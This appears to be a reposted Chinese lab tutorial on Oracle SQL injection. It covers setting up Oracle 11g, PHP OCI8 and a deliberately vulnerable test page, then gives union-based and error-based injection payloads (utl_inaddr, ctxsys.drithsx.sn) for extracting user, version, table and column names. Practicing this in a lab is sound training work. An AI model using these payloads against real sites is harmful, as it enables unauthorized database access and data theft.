SQL注入之Oracle注入

news2024/11/25 15:00:53

SQL注入之Oracle注入

7.1 SQL注入之Oracle环境搭建

前言

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

特点:

1)完整的数据管理功能

2)数据的大量性

3)数据保存的持久性

4)数据的共享性

5)数据的可靠性

1.下载Oracle Database 11g Release 2 安装包

Windows环境(Win10)下安装、配置桌面类Oracle Database 11g Release 2

PS1:安装包分为了两个压缩包,需要都下载下来才能进行安装

132位&64位百度云分享链接及提取码:

链接: https://pan.baidu.com/s/1mh7s1nU

密码: 8neh

2.将下载好的两个压缩包解压到database同一个路径下(即进行合并)

image.png

3.点开上图中的database文件夹,双击运行setup.exe开始进行安装

image.png

4.加载安装程序需要一些时间,加载完成后便会出现安装界面,如果是在虚拟机的Windows10环境下进行的安装,会弹出“环境不满足最低要求”的对话框,如出现此窗口,则点击“是”进行后续操作

image.png

5.首先进行安全更新的配置,"电子邮件"处如果不需要接收Oracle的邮件通知则不填(如果没填的话会弹出一个“未指定电子邮箱地址”的窗口,如不需要接收其通知则点击“是”进行下一步操作),“安全更新”处如果不需要接收其更新则取消勾选

6.然后进入到“安装选项”的界面,选择“创建和配置数据库”(在安装完成后,会自动进入到数据库的配置界面)

7.接下来进入到“系统类”的选择,这里选择“桌面类”

8.接下来进入到“典型安装”的配置,下面为“典型配置”界面内容的说明

image.png

① “Oracle目录基目录”:所有Oracle产品的基目录,如果这里进行了修改,下面的目录也会相应地自动进行更改,目录名称不建议使用中文(玄学)

② “软件位置”:当前进行安装软件(即Oracle Database 11g)的安装目录,其安装目录不能含空格字符,同样不建议使用中文(玄学)

③ “数据文件位置”:存储数据库内容的位置,同样不建议使用中文(还是玄学)

④ 关于数据库版本:企业版包含了Oracle Database完整功能,其他版本的详细说明可以查看Oracle Database 的帮助文档

⑤ 关于字符集的选择:建议选择为UTF-8(通用性更好)

⑥ “全局数据库名”:启动数据库的名称(不超过8个字符)

⑦ “管理口令”:启动数据库的口令

注意:Oracle官方文档建议口令为(只是建议,如果是学习用的话可以设置得简单些,但要满足最低要求,例如设置为“Oracle”)

⑧ “确认口令”:在此字段再次输入管理口令

image.png

9.接下来会进行先决条件的检查,如果检查通过则会自动进入到“概要”界面,若检查出现错误提示,请自行寻找解决方案或者直接选择“忽略”

10.安装需要一些时间,耐心等待即可

11.之后会弹出数据库配置窗口(Database Configuration Assistant),不要点击“确定”或者直接关闭该窗口,而是点击“口令管理”,因为还需要“口令管理”窗口进行后续配置(用户的解锁以及口令的修改)

12.进入到管理窗口后,需要修改sys,system,scott,sh这四个用户(用户的解锁以及口令的修改)

下表为Oracle数据库中的主要用户及作用

image.png

口令的修改:在“新口令”处输入新口令,在“确认口令”处再次输入新口令(口令不能为空,不能超过30个字符,且不能为用户名)

之后点击“确定“即完成用户的解锁及口令的修改(如果口令不满足Oracle建议标准的四个“至少”依旧会弹出警告框,若出现则点击“是”继续后续操作)

13.之后会回到Database Configuration Assistant窗口,点击“确定”进入到“完成”界面

14.启动服务(非必选项,根据情况来)

安装完成后,在计算机系统中将出现若干个Oracle服务,可以进入到计算机管理界面,依次点击“服务和应用程序”、“服务”,以查看/管理Oracle 服务(具体如何进入到计算机管理界面请自行查询方法),这些服务可以都设置为手工启动(设置方法为:右键需要修改的服务→点击“属性”→在“启动类型”处设置为“手工启动”→点击“确定”),以防其对计算机运行/启动速度造成影响,等需要用到Oracle Database时再启动这些服务

image.png

15.测试下与Oracle Database的连接

运行SQL Plus

用户名:sys/as sysdba

image.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pS5i9aAq-1691667817115)(C:\Users\linyo\AppData\Roaming\Typora\typora-user-images\image-20230808122755690.png)]

7.2 SQL注入之Navicat连接和Oci8环境搭建

一、Navicat连接数据库

第一步,使用SQL Plus语句连接Oracle数据库

请输入用户名: sys/as sysdb

第二步,查看数据库版本信息

SQL> select * from v$version where rownum=1;

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production

第三步,创建账号。

SQL> create user mc IDENTIFIED BY 123456;

用户已创建。

赋予权限连接数据库(CONNECT)、实体创建(RESOURCE)和管理员(DBA)

GRANT CONNECT, RESOURCE, DBA TO mc;

第四步,下载Navicat 使用Navicat连接Oracle数据库

解压运行Navicat.exe

测试连接:

image.png

测试语句:

image.png

二、Phpstudy调试OCI8扩展服务

OCI8是PHP的扩展组件,用以连接和操纵Oracle数据库(该名字源于Oracle中’C call interface’ API接口,该API最早在Oracle8中公布)。OCI 8 是开源的且已包括在PHP中了。

提前准备工作:

  1. 查看phpinfo() 确认下载版本
  2. 下载Oci8和Oracle Client

在WWW中创建info.php文件,运行以查看phpinfo信息

<?php
	phpinfo();
?>

image.png

下载对应的oracle客户端, 下载地址:
https://www.oracle.com/database/technologies/instant-client/downloads.html

注意根据安装的Oracle版本来,上面我们查询过的 11.2.0.1.0

image.png

把文件夹中 oci.dll 和 oraocci11.dll 复制到 C:\phpstudy_pro\Extensions\php\php7.3.4nts中

下载OCI8,添加扩展

https://windows.php.net/downloads/pecl/releases/oci8/2.2.0/下载oci8,版本需要与php版本一致

打开下载文件,将php_oci8.dll、php_oci8_11g.dll、 php_oci8_12c.dll 扩展文件复制到PHP安装目录的ext目录下

image.png

image.png

点击设置,点击配置文件,打开php配置文件

image.png

添加修改数据: extension=oci8_12c , extension=oci8 , extension=pdo_oci 取消前面的 ; (;代表注释的意思)

三、测试

  1. 配置成功后重启服务
  2. 查看info.php文件
  3. http://localhost/phpinfo.php配置成功,则会出现oracle版本号,如下图所示image.png

四、Oracle注入漏洞靶场

  1. 将Oracle注入的文件(sql-test.php)复制到指定目录

  2. 使用Navicat打开数据库并创建一个简单的demo表 表名 和 数据库名 都必须要大写

    CREATE TABLE "EASTMOUNT"."DEMO" (
    "ID" NUMBER NOT NULL ,
    "NAME" VARCHAR2(20 BYTE) NULL ,
    "AGE" NUMBER NULL ,
    "SEX" VARCHAR2(20 BYTE) NULL 
    )
    LOGGING
    NOCOMPRESS
    NOCACHE
    ;
    

    image.png

  3. 简单插入一条数据

    image.png

  4. 运行靶场,传递id=1进行测试

    image.png

靶场相关环境搭建完毕!

7.3 SQL注入之Oracle联合注入

1.注入基本规则

  1. Oracle使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
  2. Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据是一致的,也可以是使用null代替某些无法快速猜测出数据类型的位置
  3. Oracle的单行注释符号是–,多行注释符号是/**/

2.实例注入语句

判断列数: ' order by 3 --
-------------------------------------------------------

判断回显位置: 'union select null,null,null,unll from dual --
-------------------------------------------------------

获取数据库版本信息:
select null,(select banner from sys.v_$version where rownum=1),null,null from dual 
-------------------------------------------------------

获取数据表名:
union select null,table_name,null,null from user_tables where rownum=1

union select null,(select table_name from user_tables where rownum=1),null,null from dual--

<>排除条件
union select null,(select table_name from user_tables where rownum=1 and table_name<>'DEMO'),null,null from dual--
-------------------------------------------------------

获取关键表中的列名:
union select null,column_name,null,null from user_tab_columns where table_name='DEMO'--

union select null,column_name,null,null from user_tab_columns where table_name='DEMO' and rownum=1

union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual--

3.注入流程

  1. 寻找注入点:基本的步骤就是找到与数据库交互的输入框,然后判断这个输入框的数据类型,以及它的数据的闭合方式,然后添加一些判断语句查看是否存在注入

    image.png

  2. 判断列数

    Oracle数据库同样是通过order by 进行查询数据表的列数判断,order by必须是select -list表达式的列数,在真实环境中一个表的列数可能数目较多,因此在列数判断中我们最好使用二分法。

    image.png

  3. Oracle联合查询

    跟之前学习的MySQL一样,Oracle同样通过union 来实现联合查询注入

    image.png

    注意:因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能表用

  4. 信息收集

    可以通过回显点收集相关信息

    select user from dual 获取用户名
    select banner from sys.v_$version where rownum=1 获取版本
    
  5. 查询表名 和 列名 获取数据

    image.png

7.4 SQL注入之Oracle报错盲注

  1. 1使用utl_inaddr.get_host_name()进行报错注入

    作用:用于取得局域网或Internet环境中的主机名和IP地址

    select utl_inaddr.get_host_name(‘127.0.0.1’) hostname from dual;

    image.png

    1注入语句:

    id=1  and 1=utl_inaddr.get_host_name((select user from dual))--
    

    image.png

  2. 使用ctxsys.drithsx.sn()进行报错注入

    报错语句:

    1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
    
    CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
    
    and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
    
    ctxsys.drithsx.sn(mc,(查询函数))--
    

    image.png

    1这里为什么需要1=呢,是因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件

    rownum

    1select * from demo rownum <=3 ;

    为什么第一个查询有返回值,第二个查询只是将ROWNUM=2,就没有值返回。

    ROWNUM是一个伪列。该值在被读入cache中时被分配了一个值。每次查询该值都可能变化。同样的一行记录,可能由于读入cache中的行数不同,而导致ROWNUM不同。

    image.png

    image.png

    同样一行的rownum根据查询返回值的不同而不同。在任何情况下,只有当rownum=1返回之后,才能够返回rownum=2。如果查询rownum大于1的值,如rownum=3,则是无效的,总是返回"No Rows Selected"的信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/859375.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ardupilot 三维向量如何进行旋转

目录 文章目录 目录摘要1.三维向量的旋转2.如何理解上面公式3.ardupilot中代码应用4.结论摘要 本节主要记录ardupilot中如何实现一个三维向量从一个坐标系转换到另外一个坐标系的过程,欢迎批评指正!!! 1.三维向量的旋转 这里需要特别注意,我们有时候需要把R系往B系转换,…

【C语言学习】函数的定义和调用

一、函数定义 要有返回类型、函数名和函数体 二、调用函数 函数名&#xff08;函数值&#xff09;&#xff1b; &#xff08;&#xff09;起到表示函数调用的重要作用&#xff0c;即使没有参数也需要&#xff08;&#xff09; 若有参数&#xff0c;则需要给出正确的数量和顺序…

【如何在Linux环境下进入Docker容器中的MySQL】

如何在Linux环境下进入Docker容器中的MySQL 查看所有容器 docker ps进入容器 docker exce -it {NAMES/CONTAINER ID} bash根据容器别名获取容器ID都可以进入到容器当中 3. 输入MySQL的账号和密码登录MySQL mysql -uroot -p{password}

Linux下 时间戳的转化

Linux下一般用date 记录当前时间&#xff0c;尤其是我们需要保存测试log的时候&#xff0c;或者设计一个跑多长时间的脚本都需要时间戳。下面看一下平时最常用的几种写法 1 date “%Y-%m-%d %H:%M” 显示具体时间 2 修改时间 date -s 3 date %s :当前时间的时间戳 显示具体时…

Maven介绍,部署在eclipse中

目录 一.Maven介绍 1&#xff0c;什么是maven&#xff1f; 2. 为什么maven会在企业中大量使用&#xff1f; 3.没有使用maven的前后区别? 4.maven在Java开发中的实际效果图 二.maven部署在eclipse中 1.下载maven在其官方网址下载&#xff08;当然实际下载也要根据个人的…

速度提升13%?SK海力士新一代芯片组即将发布,搭载LPDDR5T 内存

据称SK海力士最新LPDDR5T内存已在联发科的下一代移动平台&#xff08;可能是天玑9300&#xff09;上成功验证。 SK海力士宣布&#xff0c;联发科即将于今年内发布最新一代旗舰移动芯片组&#xff0c;其中包括速度高达9.6Gbps的LPDDR5T内存。与前一代海力士LPDDR5X相比&#xff…

htmlCSS-----案例展示

目录 前言 作品效果 html代码 CSS代码 图片资源 前言 在学习html过程中我们要试着去写写一些案例&#xff0c;通过这些案例让我们更加熟悉代码以及丰富我们的经验&#xff0c;下面是我个人写的一个案例&#xff0c;代码和图片也给出了大家&#xff0c;你们可以参考参考。…

TOMCAT部署及优化(Tomcat配置文件参数优化,Java虚拟机(JVM)调优)

TOMCAT tomcat &#xff1a;是一个开放源代码的web应用服务器&#xff0c;基于java代码开发的。也可以理解为tomacat就是处理动态请求和基于java代码的页面开发。可以在html当中写入java代码&#xff0c;tomcat可以解析html页面当中的java&#xff0c;执行动态请求&#xff0c;…

绽放趋势:Python折线图数据可视化艺术

文章目录 一 json数据格式1.1 json数据格式认识1.2 Python数据和Json数据的相互转换 二 pyecharts模块2.1 pyecharts概述2.2 pyecharts模块安装 三 pyecharts快速入门3.1 基础折线图3.2 pyecharts配置选项3.2.1 全局配置选项 3.4 折线图相关配置3.4.1 .add_yaxis相关配置选项3.…

LC-杨辉三角

LC-杨辉三角 链接&#xff1a;https://leetcode.cn/problems/pascals-triangle/submissions/ 上图就是一个杨辉三角&#xff0c;每个数等于他左上角的数与右上角的数之和。 第一行就是一个1&#xff1b;第二行是两个1&#xff1b;第三行的2就是它肩膀上两个1之和,其余的类似。…

最全网络安全(黑客)学习路线

在各大平台搜的网安学习路线都太粗略了。。。。看不下去了&#xff01; 我把自己整理的系统学习路线&#xff0c;拿出来跟大家分享了&#xff01;点击查看详细路线图 建议的学习顺序&#xff1a; 一、网络安全学习普法&#xff08;心里有个数&#xff0c;要进去坐几年&#xf…

初阶C语言-操作符详解(下)

&#x1f31e; “等春风得意&#xff0c;等时间嘉许&#xff01;” 接下来&#xff0c;我们把操作符没学完的继续学完&#xff01; 操作符详解 6.2sizeof和数组 7.关系操作符8.逻辑操作符9.条件操作符10.逗号表达式11.下标引用、函数调用和结构成员12.表达式求值12.1隐式类型转…

设计模式(2)工厂方法模式

一、 1、介绍&#xff1a;定义一个用于创建对象的接口&#xff0c;让子类决定实例化哪一个类。工厂方法使一个类的实例化延迟到其子类。简单工厂模式的最大优点在于工厂类中包含了必要的逻辑判断&#xff0c;根据客户端的选择条件动态实例化相关的类&#xff0c;对于客户端来说…

cesium学习记录06-视图、场景与相机

一、视图&#xff08;Viewer&#xff09; viewer是cesium的核心类&#xff0c;是一切的开端。通过new Cesium.Viewer(container, options)来创建一个Viewer对象&#xff0c;而通过这个 Viewer对象&#xff0c;可以添加图层、实体、相机控制等&#xff0c;以及设置一些全局属性…

Whisper.cpp 编译使用

Whisper.cpp 编译使用 whisper.cpp 是牛人 ggerganov 对 openai 的 whisper 语音识别模型用 C 重新实现的项目&#xff0c;开源在 github 上&#xff0c;具有轻量、性能高&#xff0c;实用性强等特点。这篇文章主要记录在 windows 平台&#xff0c;如何使用该模型在本地端进行…

自学网络安全(黑客)全网详细路线

前言 web渗透是网络安全大行业里入门板块&#xff0c;就像十年前的软件&#xff0c;前景非常被看好&#xff0c;薪资也很诱人。与软件测试和前端开发只需掌握一定的编程能力不同的是&#xff0c;渗透需要掌握的知识内容较多&#xff0c;花费的时间较长&#xff0c;渗透测试掌握…

网络:CISCO、Huawei、H3C命令对照

思科、华为、锐捷命令对照表 编号思科华为锐捷命令解释1 2writesavesave保存3456 如果你所处的视图为非系统视图&#xff0c;需要查看配置的时候&#xff0c;需要在该配置命令前加do。 在特定的视图之下&#xff0c;有对应的特定命令。例如&#xff0c;在接口视图下的ip addre…

数组常用方法总结

数组常用方法总结 一.获取数组长度1.1 使用length 二.数组转字符串2.1 Arrays是什么2.2 使用toString() 三. 数组拷贝3.1 使用 copyOf()3.2 copyOfRange() 四.数组排序4.1使用 sort() 五. 数组逆序六. 判断两个数组是否相等6.1 使用equals() 一.获取数组长度 1.1 使用length p…

YAMLException: java.nio.charset.MalformedInputException: Input length = 1

springboot项目启动的时候提示这个错误&#xff1a;YAMLException: java.nio.charset.MalformedInputException: Input length 1 根据异常信息提示&#xff0c;是YAML文件有问题。 原因是yml配置文件的编码有问题。 需要修改项目的编码格式&#xff0c;一般统一为UTF-8。 或…

pdf怎么转换成jpg图片?这几个转换方法了解一下

pdf怎么转换成jpg图片&#xff1f;转换PDF文件为JPG图片格式在现代工作中是非常常见的需求&#xff0c;比如将PDF文件中的图表、表格或者图片转换为JPG格式后使用在PPT演示、网页设计等场景中。 【迅捷PDF转换器】是一款非常实用的工具&#xff0c;可以将PDF文件转换成多种不同…